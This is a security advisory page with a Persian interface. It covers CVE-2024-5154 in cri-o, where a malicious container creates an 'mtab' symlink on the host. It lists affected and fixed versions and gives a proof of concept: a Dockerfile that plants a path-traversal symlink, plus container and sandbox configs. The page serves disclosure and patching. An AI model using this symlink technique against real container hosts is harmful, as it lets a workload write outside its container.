همهٔ گزارش‌ها
زیاد

malicious container creates symlink "mtab" on the host External

متن اصلی

نسخه‌های متأثر

بازه‌ها نیاز به بررسی دارند.

نسخه‌های متأثر
>= 1.30.0, < 1.30.1
نسخهٔ اصلاح‌شده
1.30.1
نسخه‌های متأثر
>=1.28.6 <1.28.7 || >=1.29.4 <1.29.5 || >=1.30.0 <1.30.1
نسخهٔ اصلاح‌شده
1.28.7 · 1.29.5 · 1.30.1
نسخه‌های متأثر
>= 1.28.6, < 1.28.7
نسخهٔ اصلاح‌شده
1.28.7
نسخه‌های متأثر
>= 1.29.4, < 1.29.5
نسخهٔ اصلاح‌شده
1.29.5
نسخه‌های متأثر
نامشخص
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2024-5154

احتمال بهره‌برداری در ۳۰ روز آینده: 1.24%

FIRST EPSS · ۱۴۰۵/۰۸/۲۹

شرح آسیب‌پذیری

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}


and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

پیوندها

گزارش‌دهندگان

  • eriksjolund